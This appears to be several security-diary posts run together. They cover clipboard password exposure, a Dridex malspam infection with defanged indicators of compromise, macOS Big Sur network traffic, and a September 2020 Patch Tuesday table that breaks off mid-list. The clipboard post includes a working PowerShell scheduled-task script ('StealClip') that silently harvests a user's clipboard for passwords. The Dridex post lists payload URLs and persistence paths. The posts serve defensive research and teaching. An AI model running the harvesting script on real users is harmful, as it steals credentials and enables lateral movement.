It contains a 64-bit and a 32-bit DLL:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Recently I happened to notice that the Cisco AnyConnect VPN client clears the clipboard if you paste a password into it.  (Note - if you know and can type any of your passwords in 2020, you should at least partially examine your life choices).  Several password managers also do this "right thing" - retaining passwords in the clipboard is a great way for folks to accidentally paste that information into the worst possible place after login (like say into something that'll post that info into clear text log files), or in the worst case allows it to get stolen post-login.

This got me to thinking, why doesn't putty do this after password entry, or the Windows RDP client for that matter?  Or a myriad of traditional and web apps that take userid/password input for access?

From an attacker's point of view, the clipboard really is simple to collect in Powershell:

> $clp = Get-Clipboard -Format text $clp SomeSecretPassw0rd!

This can be a valuable piece of information to collect in a penetration test, if you happen to have code execution in the user context.  If you catch the right person, you are likely to collect the password for some other system - a router, switch or firewall, a hypervisor, or even a mainframe.  Or even better, collecting credentials from "standalone" business systems like accounting or shop floor control systems are also pure gold.  Pivoting from your existing access to other systems and privilege levels is the whole point of any internal security assessment / penetration test.

You can of course also collect any graphics or files that are in the clipboard, which can sometimes be just as useful.

If you don't have code execution, you can just ask the Chrome or Opera browser to give up your target's clipboard by tricking your target person to browse to a specific website - "ClipboardMe"  is a decent tool to do this.  The main down side is that this tool involves a third party site to collect this information.  For some extra fun, this tool can also be used to modify your victim's clipboard.  This this tool also records the IP addresses of your victim(s) - just keep in mind that if those folks are all in the same organization (and on premise), they'll likely all have the same public IP address.  In the screenshot below you see me testing this tool using 3 different browser versions:

While you can technically also collect a remote station's clipboard using any of the various remote admin tools, in most cases this opens a new session.  Since clipboards are tied to sessions, these methods will either collect null values or the clipboard of the station doing the remoting, so in most cases this is a dead end.  If you can however get a scheduled task onto your target's machine, for instance, that can be made to run against your target user.  If you can get them to run this short powershell script, a scheduled task will grab their clipboard every 10 minutes (or whatever interval you specify).  It does "flash" on the screen, when it runs though - unfortunately if you run it in the background it's another session so doesn't work.  (If anyone has a decent workaround for this, please drop it in our comment section?)

$argument = "-windowstyle hidden -noninteractive -command `"whoami | out-file -append c:\xfer\example.txt ; get-clipboard | out-file -append c:\xfer\example.txt `"" $action = New-ScheduledTaskAction -Execute 'PowerShell.exe' -Argument $argument  $u = whoami ; $principal = New-ScheduledTaskPrincipal -UserID $u  $trigger = New-ScheduledTaskTrigger -Once -At 7am -RepetitionDuration  (New-TimeSpan -Days 1)  -RepetitionInterval  (New-TimeSpan -Minutes 10)  $settings = New-ScheduledTaskSettingsSet -Hidden -AsJob -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries  $task = New-ScheduledTask -Action $action -Principal $principal -Trigger $trigger  Register-ScheduledTask "StealClip" -InputObject $task -Force

The other caveat of course is that to do this you have to have that user (and likely the domain) compromised.  Remember that this method is all about pivoting to that next (non AD) platform.

From a defensive point of view, the clipboard is also pretty easy to clear, both in PowerShell and otherwise:

From the basic command line you can use the "clip" command to clear the clipboard - any of these commands will work:

break | clip type nul | clip echo. > nul | clip (echo anything to nul will work)

From Powershell it's not even convoluted, it's documented:
First, you can still use nul and the clipboard:

echo $null | clip.exe

Yes, this works in powershell for Linux as well, as long as xclip is in the path you can use

echo $null | xclip

In Windows you can use .NET - you'll see a noticeable pause when this one executes:

Add-type -AssemblyName System.Windows.Forms [System.Windows.Forms.Clipboard]::Clear()

Or, you can just use the native Powershell command - by far the preferred approach these days:

Set-Clipboard $null

This last one also works in Powershell for Linux, again, you need xclip in your path (normally it is)

As expected, this one is documented at https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-clipboard?view=powershell-7

So if it's that easy to clear, why don't common apps that accept passwords just do this?  

While it's not well documented, Matt Graeber (Mattifestation) outlines various ETW (Event Tracer for Windows) providers for the clipboard here: https://gist.github.com/mattifestation/04e8299d8bc97ef825affe733310f7bd

Notably, a vendor could monitor for this one during password input, and clear the clipboard if a paste is detected (in other words, clear the clipboard if a password is pasted in, just after it's used.  I'm assuming that this is how most password managers get the job done:

ETW Provider name: Microsoft.Windows.OLE.Clipboard
Provider guid: 3e0e3a92-b00b-4456-9dee-f40aba77f00e

Unfortunately, there isn't much documentation for this provider past Matt's "look what I found" listing.  So do I have code for this?  Nope, sorry I do not.  However, if you've got any code that uses this provider, please post a link in our comment form, the more we "pile on" to this concept, the fewer excuses our various vendors have not to be responsibly clearing passwords out of clipboards (after they are used of course).

So stay tuned, if someone posts an ETW method to our comments everyone wins.  If not, I'll keep poking at this, you might see a related story in the next couple of weeks.

In the meantime, if you've noticed any other apps that clear the clipboard (or don't clear the clipboard) at the right time, please also let us know in our comment form - this would be a good "list of things to fix"

===============
Rob VandenBrink
rob <at> coherentsecurity.com

Introduction

For the past month or so, I hadn't had any luck finding active malspam campaigns pushing Dridex malware. That changed starting this week, and I've since found several examples. Today's diary reviews an infection from Wednesday September 9th, 2020.

The Word documents

While searching VirusTotal, I found three documents with the same template that generated the same type of traffic (read: SHA256 hash - name):

• fee5bb973112d58445d9e267e0ceea137d9cc1fb8a7140cf9a67472c9499a30f - Info-3948683568.doc
• 9b747e89874c0b080cf78ed61a1ccbd9c86045dc61b433116461e3e81eee1348 - Inform-34674869.doc'
• 27379612c139d3c4a0c6614ea51d49f2495213c867574354d7851a86fdec2428 - Rep-Sept2020.doc

Shown above:  Screenshot with template used by all three of the above listed Word documents.

My lab environment revealed these documents are designed to infect a vulnerable Windows host with Dridex.

Enabling macros caused Powershell to retrieve a DLL file from one of the following URLs over encrypted HTTPS traffic:

hxxps://teworhfoundation[.]com/4jvmow.zip
hxxps://teworhfoundation[.]com/zd0pcc.rar
hxxps://thecandidtales[.]com/doakai.zip
hxxps://safaktasarim[.]com/7zcsfo.txt
hxxps://thecandidtales[.]com/wuom4a.rar

After the DLL was saved under the victim's profile, it was run using rundll32.exe.  The DLL is an installer for Dridex, and it was run using the following command:

"C:\Windows\system32\rundll32.exe" C:\Users\[username]\Mqfzqp8\Opzvzn2\Qzpic6r.dll 0

Shown above:  Location of the initial DLL to install Dridex on an infected Windows host.

Dridex infection traffic

Dridex post-infection traffic is all HTTPS. In this case, we saw HTTPS traffic over the following IP addresses and ports:

67.213.75[.]205 port 443
54.39.34[.]26 port 453

Shown above:  Traffic from the Dridex infection filtered in Wireshark.

Most of the Dridex post-infection traffic I've seen uses IP addresses without domain names, and issuer data for the SSL/TLS certificates is somewhat unusual.  Certificate issuer data for the Dridex post-infection traffic:

CERTIFICATE ISSUER DATA FOR HTTPS TRAFFIC TO 67.213.75[.]205 OVER TCP PORT 443:

id-at-countryName=HR
id-at-localityName=Zagreb
id-at-organizationName=Wageng Unltd.
id-at-organizationalUnitName=obendmma
id-at-commonName=Livedthtsthw.flights

CERTIFICATE ISSUER DATA FOR HTTPS TRAFFIC TO 54.39.34[.]26 OVER TCP PORT 453:

id-at-countryName=DE
id-at-stateOrProvinceName=Sheso thanthefo
id-at-localityName=Berlin
id-at-organizationName=Thedelor Tbrra SICAV
id-at-organizationalUnitName=5Coiesily Begtherdr istwarscon
id-at-commonName=Bath7epran.toshiba

Shown above:  Certificate issuer data for HTTPS traffic to 67.213.75[.]205 over TCP port 443 found in Wireshark.

Shown above:  Certificate issuer data for HTTPS traffic to 54.39.34[.]26 over TCP port 453 found in Wireshark.

Dridex persistent on an infected Windows host

Dridex is made persistent on an infected Windows host using 3 methods simultaneously:

• Windows registry update
• Scheduled task
• Windows startup menu shortcut

Dridex uses copies of legitimate Windows system files (EXEs) to load and run malware.  Dridex DLL files are named as DLLs that would normally be run by these copied system EXEs.

For this infection, all of the persistent Dridex DLL files were 64-bit DLL files.

WINDOWS REGISTRY UPDATE:

- Registry Key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- Value name: Vwqmkqmr
- Value type: REG_SZ
- Value data: C:\Users\[username]\AppData\Roaming\Thunderbird\Profiles\1ovarfyl.default-release\
              ImapMail\.outlook.com\Uw0NWHoOi\DWWIN.EXE

NOTE: DWWIN.EXE loads and runs a Dridex DLL file named VERSION.dll in the same directory.

Shown above:  Windows registry update used to keep Dridex persistent on an infected host.

Shown above:  Legitimate EXE called by registry update, and Dridex DLL in the same directory.

SCHEDULED TASK:

- Task name: Qgdopf
- Action: Start a program
- Details: C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\
           0pFtxbOGXwr\DmNotificationBroker.exe

NOTE: DmNotificationBroker.exe loads and runs a Dridex DLL file named DUI70.dll in the same directory.

Shown above:  Scheduled task on the same infected Windows host also used to keep Dridex persistent.

Shown above:  Legitimate EXE called by scheduled task, and Dridex DLL in the same directory.

WINDOWS STARTUP MENU SHORTCUT:

Shortcut: C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start Menu\Somdjvzvjfch.lnk
Target: C:\Users\[username]\AppData\Roaming\Mozilla\Extensions\r0F\msinfo32.exe

NOTE: msinfo32.exe loads and runs a Dridex DLL file named MFC42u.dll in the same directory.

Shown above:  Windows start menu shortcut also used to keep Dridex persistent on the same infected Windows host.

Shown above:  Legitimate EXE called by start menu shortcut, and Dridex DLL in the same directory.

Indicators of Compromise (IOCs)

Three examples of Microsoft Word documents with macros for Dridex:

SHA256 hash: fee5bb973112d58445d9e267e0ceea137d9cc1fb8a7140cf9a67472c9499a30f

• File size: 136,262 bytes
• File name: Info-3948683568.doc

SHA256 hash: 9b747e89874c0b080cf78ed61a1ccbd9c86045dc61b433116461e3e81eee1348

• File size: 136,182 bytes
• File name: Inform-34674869.doc

SHA256 hash: 27379612c139d3c4a0c6614ea51d49f2495213c867574354d7851a86fdec2428

• File size: 135,053 bytes
• File name: Rep-Sept2020.doc

Installer DLL for Dridex called by Word macro:

SHA256 hash: 790b0d9e2b17f637c3e03e410aa22d16eccfefd28d74b226a293c9696edb60ad

• File size: 331,776 bytes
• File location: hxxps://thecandidtales[.]com/doakai.zip
• File location: C:\Users\[username]\MqFZqp8\OpZVzn2\Qzpic6r.dll
• Run method: rundll32.exe [file name] 0

Dridex 64-bit DLL files persistent on the infected Windows host:

SHA256 hash: fd8049d573c056b92960ba7b0949d9f3a97416d333fa602ce683ef822986ad58

• File size: 1,580,032 bytes
• File location: C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\0pFtxbOGXwr\DUI70.dll
• Run method: Loaded and run by legitimate system file DmNotificationBroker.exe in the same directory
• Note: Made persistent through scheduled task

SHA256 hash: 719a8634a16beb77e6d5c6bb7f82a96c6a49d5cfa64463754fd5f0e5eb0581be

• File size: 1,325,056 bytes
• File location: C:\Users\[username]\AppData\Roaming\Mozilla\Extensions\r0F\MFC42u.dll
• Run method: Loaded and run by legitimate system file msinfo32.exe in the same directory
• Note: Made persistent through start menu shortcut

SHA256 hash: 4d7d8d1790d494a1a29dae42810a3a10864f7c38148c3600c76491931c767c5c

• File size: 1,297,920 bytes
• File location: C:\Users\[username]\AppData\Roaming\Thunderbird\Profiles\1ovarfyl.default-release\ImapMail\.outlook.com\Uw0NWHoOi\VERSION.dll
• Run method: Loaded and run by legitimate system file DWWIN.EXE in the same directory
• Note: Made persistent through Windows registry update

URLs from Word macro to retrieve Dridex DLL installer:

• hxxps://teworhfoundation[.]com/4jvmow.zip
• hxxps://teworhfoundation[.]com/zd0pcc.rar
• hxxps://thecandidtales[.]com/doakai.zip
• hxxps://safaktasarim[.]com/7zcsfo.txt
• hxxps://thecandidtales[.]com/wuom4a.rar

Certificate data for Dridex HTTPS traffic to 67.213.75[.]205 port 443:

• id-at-countryName=HR
• id-at-localityName=Zagreb
• id-at-organizationName=Wageng Unltd.
• id-at-organizationalUnitName=obendmma
• id-at-commonName=Livedthtsthw.flights

Certificate data for Dridex HTTPS traffic to 54.39.34[.]26 port 453:

• id-at-countryName=DE
• id-at-stateOrProvinceName=Sheso thanthefo
• id-at-localityName=Berlin
• id-at-organizationName=Thedelor Tbrra SICAV
• id-at-organizationalUnitName=5Coiesily Begtherdr istwarscon
• id-at-commonName=Bath7epran.toshiba

Final words

After a period of inactivity, malspam pushing Dridex malware is back, so this blog post reviewed traffic and malware from an infected Windows host.  While not much has changed, it's always good to have a refresher.

As usual, up-to-date Windows hosts with the latest security patches and users who follow best security practices are not likely to get infected with this malware.  However, I've seen so much come through in the past two or three days that even a small percentage of success will likely be profitable for the criminals behind it.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

In the next couple of months, Apple will likely release its next major update to macOS, "Big Sur" or also called macOS 11. I was able to install the most recent beta version of the operating system in a virtual machine to look at some of the network traffic. This should help you get ready for any oddities you may be seeing as users upgrade.

First of all: Network traffic pretty similar to the older versions of macOS. By default, it still uses "time.apple.com" for NTP. You will also still see a lot of connections to Apple's IP addresses in 17.0.0.0/8 for iCloud/Cloudkit connections.

TCP

Interestingly, macOS 11 uses a smaller window scale (5) instead of the slightly larger window scale (6) used by 10.15. I would have expected it to go the other way. However, the overall window size is about the same (128 KBytes). I guess the smaller window scale gives a bit more granularity. Just like MasOS 10.15, Big Sur does use ECN.

TLS

TLS now adds "GREASE" per RFC8701 (https://tools.ietf.org/html/rfc8701). GREASE is a bit an odd concept. TLS is extendable in that a client may use whatever cipher suites / TLS versions it feels like, and the server picks one that works while at the same time ignoring any options it doesn't understand. But some TLS implementations have been buggy and instead of ignoring unknown ciphers and TLS versions, they have refused to connect. So the idea of GREASE is to add random ciphers/TLS versions to weed out non-compliant implementations. I have often seen a "GREASE" cipher in current TLS implementation. But MacOS 11 also adds a "GREASE" TLS version

The version appears to vary randomly among the values allowed for GREASE (always two identical bytes. The second nibble of the byte is always "A").

Safari User-Agent

The User-Agent, as expected, uses "Mac OS X 11_0" as an operating system identifier. 

Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15

Compare to Mac OS 10.15.6:

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15

 

 

Security/Privacy Settings

The overall security settings appear to be identical to prior versions of macOS. A couple of new options were added to the privacy settings. It is now possible to restrict access to Bluetooth, Media & Apple Music as well as Homekit. I have not had a chance to look at some other security features in detail.

Installing BigSur in VMWare Fusion

I had an existing virtual machine running macOS, which I upgraded to BigSur using the public beta. The upgrade went without a problem. I had some glitches (for example, the virtual machine refuses to shut down. It will shut down but immediately reboot). This is expected for a beta version and VMWare Fusion does not officially support macOS 11. I did not attempt to install VMWare tools. In general, macOS is supported inside VMWare Fusion.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

This month we got patches for 129 vulnerabilities. Of these, 23 are critical and none of them was previously disclosed or is being exploited according to Microsoft.

Amongst the critical ones, there is a remote code execution (RCE) vulnerability in Microsoft SharePoint (CVE-2020-1210) with a CVSS score of 9.9 (the highest this month). The vulnerability exists when the software fails to check the source markup of an application package. To exploit this vulnerability, an attacker has to upload a specially crafted SharePoint application package to a vulnerable SharePoint.

There is also an RCE in Microsoft Exchange (CVE-2020-16875), with a CVSS score of 9.1. To exploit this vulnerability, an attacker has to send a specially crafted e-mail to a vulnerable Exchange Server. An attacker who successfully exploits this vulnerability could run arbitrary code in the context of System user.

A third vulnerability worth mentioning is an RCE affecting Active Directory (CVE-2020-0761) when integrated with DNS (ADIDNS). An authenticated attacker could run arbitrary code in the context of Local System account if successfully exploits this vulnerability. To exploit the vulnerability, an authenticated attacker could send malicious requests to an Active Directory integrated DNS (ADIDNS) server. The CVSS score for this vulnerability is 8.8.

See Renato's dashboard for a more detailed breakout: https://patchtuesdaydashboard.com

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
ADFS Spoofing Vulnerability
%%cve:2020-0837%%	No	No	Less Likely	Less Likely	Important	5.0	4.5
Active Directory Information Disclosure Vulnerability
%%cve:2020-0664%%	No	No	More Likely	More Likely	Important	6.5	5.9
%%cve:2020-0856%%	No	No	More Likely	More Likely	Important	6.5	5.9
Active Directory Remote Code Execution Vulnerability
%%cve:2020-0718%%	No	No	Less Likely	Less Likely	Important	8.8	7.9
%%cve:2020-0761%%	No	No	Less Likely	Less Likely	Important	8.8	7.9
Connected User Experiences and Telemetry Service Elevation of Privilege Vulnerability
%%cve:2020-1590%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Diagnostics Hub Standard Collector Elevation of Privilege Vulnerability
%%cve:2020-1130%%	No	No	Less Likely	Less Likely	Important	6.6	5.9
%%cve:2020-1133%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
DirectX Elevation of Privilege Vulnerability
%%cve:2020-1053%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1308%%	No	No	More Likely	More Likely	Important	7.0	6.3
GDI+ Remote Code Execution Vulnerability
%%cve:2020-1285%%	No	No	Less Likely	Less Likely	Critical	8.4	7.6
Group Policy Elevation of Privilege Vulnerability
%%cve:2020-1013%%	No	No	Less Likely	Less Likely	Important	7.5	6.7
Internet Explorer Browser Helper Object (BHO) Memory Corruption Vulnerability
%%cve:2020-16884%%	No	No	Less Likely	Less Likely	Important	4.2	3.8
Jet Database Engine Remote Code Execution Vulnerability
%%cve:2020-1039%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1074%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Microsoft ASP.NET Core Security Feature Bypass Vulnerability
%%cve:2020-1045%%	No	No	Less Likely	Less Likely	Important	7.5	6.7
Microsoft Browser Memory Corruption Vulnerability
%%cve:2020-0878%%	No	No	Less Likely	Less Likely	Critical	4.2	3.8
Microsoft COM for Windows Elevation of Privilege Vulnerability
%%cve:2020-1507%%	No	No	Less Likely	Less Likely	Important	7.9	7.1
Microsoft COM for Windows Remote Code Execution Vulnerability
%%cve:2020-0922%%	No	No	Less Likely	Less Likely	Critical	8.8	7.9
Microsoft Dynamics 365 (On-Premise) Cross Site Scripting Vulnerability
%%cve:2020-16858%%	No	No	Less Likely	Less Likely	Important	5.4	4.9
%%cve:2020-16859%%	No	No	Less Likely	Less Likely	Important	5.4	4.9
%%cve:2020-16861%%	No	No	Less Likely	Less Likely	Important	5.4	4.9
%%cve:2020-16864%%	No	No	Less Likely	Less Likely	Important	5.4	4.9
%%cve:2020-16872%%	No	No	Less Likely	Less Likely	Important	7.6	6.8
%%cve:2020-16878%%	No	No	Less Likely	Less Likely	Important	5.4	4.9
%%cve:2020-16871%%	No	No	Less Likely	Less Likely	Important	5.4	4.9
Microsoft Dynamics 365 (on-premises) Remote Code Execution Vulnerability
%%cve:2020-16860%%	No	No	Less Likely	Less Likely	Important	6.8	6.1
%%cve:2020-16862%%	No	No	Less Likely	Less Likely	Critical	7.1	6.4
Microsoft Dynamics 365 for Finance and Operations (on-premises) Remote Code Execution Vulnerability
%%cve:2020-16857%%	No	No	-	-	Critical	7.1	6.4
Microsoft Excel Information Disclosure Vulnerability
%%cve:2020-1224%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2020-1193%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1332%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1335%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1594%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Microsoft Exchange Memory Corruption Vulnerability
%%cve:2020-16875%%	No	No	Less Likely	Less Likely	Critical	9.1	8.2
Microsoft Graphics Component Information Disclosure Vulnerability
%%cve:2020-0921%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
%%cve:2020-1083%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Microsoft Office Information Disclosure Vulnerability
%%cve:2020-16855%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Microsoft Office SharePoint XSS Vulnerability
%%cve:2020-1345%%	No	No	Less Likely	Less Likely	Important	7.4	6.7
%%cve:2020-1575%%	No	No	Less Likely	Less Likely	Important	5.4	4.9
%%cve:2020-1198%%	No	No	-	-	Important	7.4	6.7
%%cve:2020-1227%%	No	No	-	-	Important	5.4	4.9
%%cve:2020-1482%%	No	No	Less Likely	Less Likely	Important	6.3	5.7
%%cve:2020-1514%%	No	No	Less Likely	Less Likely	Important	5.4	4.9
Microsoft SharePoint Remote Code Execution Vulnerability
%%cve:2020-1452%%	No	No	Less Likely	Less Likely	Critical	8.6	7.7
%%cve:2020-1453%%	No	No	Less Likely	Less Likely	Critical	8.6	7.7
%%cve:2020-1576%%	No	No	Less Likely	Less Likely	Critical	8.5	7.6
%%cve:2020-1200%%	No	No	Less Likely	Less Likely	Critical	8.6	7.7
%%cve:2020-1210%%	No	No	Less Likely	Less Likely	Critical	9.9	8.9
%%cve:2020-1595%%	No	No	Less Likely	Less Likely	Critical	9.9	8.9
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2020-1460%%	No	No	Less Likely	Less Likely	Critical	8.6	7.7
Microsoft SharePoint Server Tampering Vulnerability
%%cve:2020-1440%%	No	No	Less Likely	Less Likely	Important	6.3	5.7
%%cve:2020-1523%%	No	No	Less Likely	Less Likely	Important	8.9	8.0
Microsoft SharePoint Spoofing Vulnerability
%%cve:2020-1205%%	No	No	Less Likely	Less Likely	Important	4.6	4.2
Microsoft Store Runtime Elevation of Privilege Vulnerability
%%cve:2020-0766%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1146%%	No	No	Less Likely	Less Likely	Important	6.6	5.9
Microsoft Windows Codecs Library Remote Code Execution Vulnerability
%%cve:2020-1129%%	No	No	Less Likely	Less Likely	Critical	8.8	7.9
%%cve:2020-1319%%	No	No	Less Likely	Less Likely	Critical	7.3	6.6
Microsoft Word Remote Code Execution Vulnerability
%%cve:2020-1218%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1338%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Microsoft splwow64 Elevation of Privilege Vulnerability
%%cve:2020-0790%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Microsoft splwow64 Information Disclosure Vulnerability
%%cve:2020-0875%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
NTFS Elevation of Privilege Vulnerability
%%cve:2020-0838%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
OneDrive for Windows Elevation of Privilege Vulnerability
%%cve:2020-16851%%	No	No	Less Likely	Less Likely	Important	7.1	6.4
%%cve:2020-16852%%	No	No	Less Likely	Less Likely	Important	7.1	6.4
%%cve:2020-16853%%	No	No	Less Likely	Less Likely	Important	7.1	6.4
Projected Filesystem Information Disclosure Vulnerability
%%cve:2020-16879%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Projected Filesystem Security Feature Bypass Vulnerability
%%cve:2020-0805%%	No	No	Less Likely	Less Likely	Important	5.3	4.8
SQL Server Reporting Services Security Feature Bypass Vulnerability
%%cve:2020-1044%%	No	No	Less Likely	Less Likely	Moderate	4.3	3.9
Scripting Engine Memory Corruption Vulnerability
%%cve:2020-1057%%	No	No	Less Likely	Less Likely	Critical	4.2	3.8
%%cve:2020-1172%%	No	No	Less Likely	Less Likely	Critical	4.2	3.8
%%cve:2020-1180%%	No	No	Less Likely	Less Likely	Important	4.2	3.8
Shell infrastructure component Elevation of Privilege Vulnerability
%%cve:2020-0870%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
TLS Information Disclosure Vulnerability
%%cve:2020-1596%%	No	No	Less Likely	Less Likely	Important	5.4	4.9
Visual Studio JSON Remote Code Execution Vulnerability
%%cve:2020-16881%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Visual Studio Remote Code Execution Vulnerability
%%cve:2020-16856%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-16874%%	No	No	Less Likely	Less Likely	Critical	7.8	7.0
Win32k Elevation of Privilege Vulnerability
%%cve:2020-1245%%	No	No	More Likely	More Likely	Important	7.0	6.3
Win32k Information Disclosure Vulnerability
%%cve:2020-0941%%	No	No	More Likely	More Likely	Important	5.5	5.0
%%cve:2020-1250%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
WinINet API Elevation of Privilege Vulnerability
%%cve:2020-1012%%	No	No	Less Likely	Less Likely	Important	8.8	7.9
Windows Camera Codec Pack Remote Code Execution Vulnerability
%%cve:2020-0997%%	No	No	Less Likely	Less Likely	Critical	7.8	7.0
Windows CloudExperienceHost Elevation of Privilege Vulnerability
%%cve:2020-1471%%	No	No	Less Likely	Less Likely	Important	6.1	5.5
Windows Common Log File System Driver Elevation of Privilege Vulnerability
%%cve:2020-1115%%	No	No	More Likely	More Likely	Important	7.8	7.0
Windows Cryptographic Catalog Services Elevation of Privilege Vulnerability
%%cve:2020-0782%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows DHCP Server Information Disclosure Vulnerability
%%cve:2020-1031%%	No	No	Less Likely	Less Likely	Important	7.5	6.7
Windows DNS Denial of Service Vulnerability
%%cve:2020-0836%%	No	No	Less Likely	Less Likely	Important	7.5	6.7
%%cve:2020-1228%%	No	No	Less Likely	Less Likely	Important	7.5	6.7
Windows Defender Application Control Security Feature Bypass Vulnerability
%%cve:2020-0951%%	No	No	Less Likely	Less Likely	Important	6.7	6.0
Windows Elevation of Privilege Vulnerability
%%cve:2020-1376%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1052%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1159%%	No	No	Less Likely	Less Likely	Important	5.3	4.8
Windows Function Discovery SSDP Provider Elevation of Privilege Vulnerability
%%cve:2020-0912%%	No	No	Less Likely	Less Likely	Important	7.0	6.3
Windows Function Discovery Service Elevation of Privilege Vulnerability
%%cve:2020-1491%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows GDI Information Disclosure Vulnerability
%%cve:2020-1256%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Windows Graphics Component Elevation of Privilege Vulnerability
%%cve:2020-0998%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Graphics Component Information Disclosure Vulnerability
%%cve:2020-1091%%	No	No	Less Likely	Less Likely	Important	6.5	5.9
%%cve:2020-1097%%	No	No	Less Likely	Less Likely	Important	6.5	5.9
Windows Hyper-V Denial of Service Vulnerability
%%cve:2020-0890%%	No	No	Less Likely	Less Likely	Important	6.5	5.9
%%cve:2020-0904%%	No	No	Less Likely	Less Likely	Important	6.5	5.9
Windows Information Disclosure Vulnerability
%%cve:2020-1119%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Windows InstallService Elevation of Privilege Vulnerability
%%cve:2020-1532%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2020-1034%%	No	No	Less Likely	Less Likely	Important	6.8	6.1
Windows Kernel Information Disclosure Vulnerability
%%cve:2020-1589%%	No	No	Less Likely	Less Likely	Important	4.4	4.0
%%cve:2020-1592%%	No	No	Less Likely	Less Likely	Important	5.1	4.6
%%cve:2020-0928%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
%%cve:2020-1033%%	No	No	Less Likely	Less Likely	Important	4.0	3.6
%%cve:2020-16854%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Windows Language Pack Installer Elevation of Privilege Vulnerability
%%cve:2020-1122%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Windows Media Audio Decoder Remote Code Execution Vulnerability
%%cve:2020-1508%%	No	No	Less Likely	Less Likely	Critical	7.6	6.8
%%cve:2020-1593%%	No	No	Less Likely	Less Likely	Critical	7.6	6.8
Windows Mobile Device Management Diagnostics Information Disclosure Vulnerability
%%cve:2020-0989%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Windows Modules Installer Elevation of Privilege Vulnerability
%%cve:2020-0911%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Print Spooler Elevation of Privilege Vulnerability
%%cve:2020-1030%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows RSoP Service Application Elevation of Privilege Vulnerability
%%cve:2020-0648%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Remote Code Execution Vulnerability
%%cve:2020-1252%%	No	No	Less Likely	Less Likely	Critical	7.8	7.0
Windows Routing Utilities Denial of Service
%%cve:2020-1038%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Windows Runtime Elevation of Privilege Vulnerability
%%cve:2020-1169%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1303%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Windows Shell Infrastructure Component Elevation of Privilege Vulnerability
%%cve:2020-1098%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Start-Up Application Elevation of Privilege Vulnerability
%%cve:2020-1506%%	No	No	Less Likely	Less Likely	Important	6.1	5.5
Windows State Repository Service Information Disclosure Vulnerability
%%cve:2020-0914%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Windows Storage Services Elevation of Privilege Vulnerability
%%cve:2020-1559%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-0886%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Text Service Module Remote Code Execution Vulnerability
%%cve:2020-0908%%	No	No	Less Likely	Less Likely	Critical	7.5	6.7
Windows UPnP Service Elevation of Privilege Vulnerability
%%cve:2020-1598%%	No	No	Less Likely	Less Likely	Important	6.1	5.5
Windows Win32k Elevation of Privilege Vulnerability
%%cve:2020-1152%%	No	No	More Likely	More Likely	Important	5.8	5.2
Windows dnsrslvr.dll Elevation of Privilege Vulnerability
%%cve:2020-0839%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Xamarin.Forms Spoofing Vulnerability
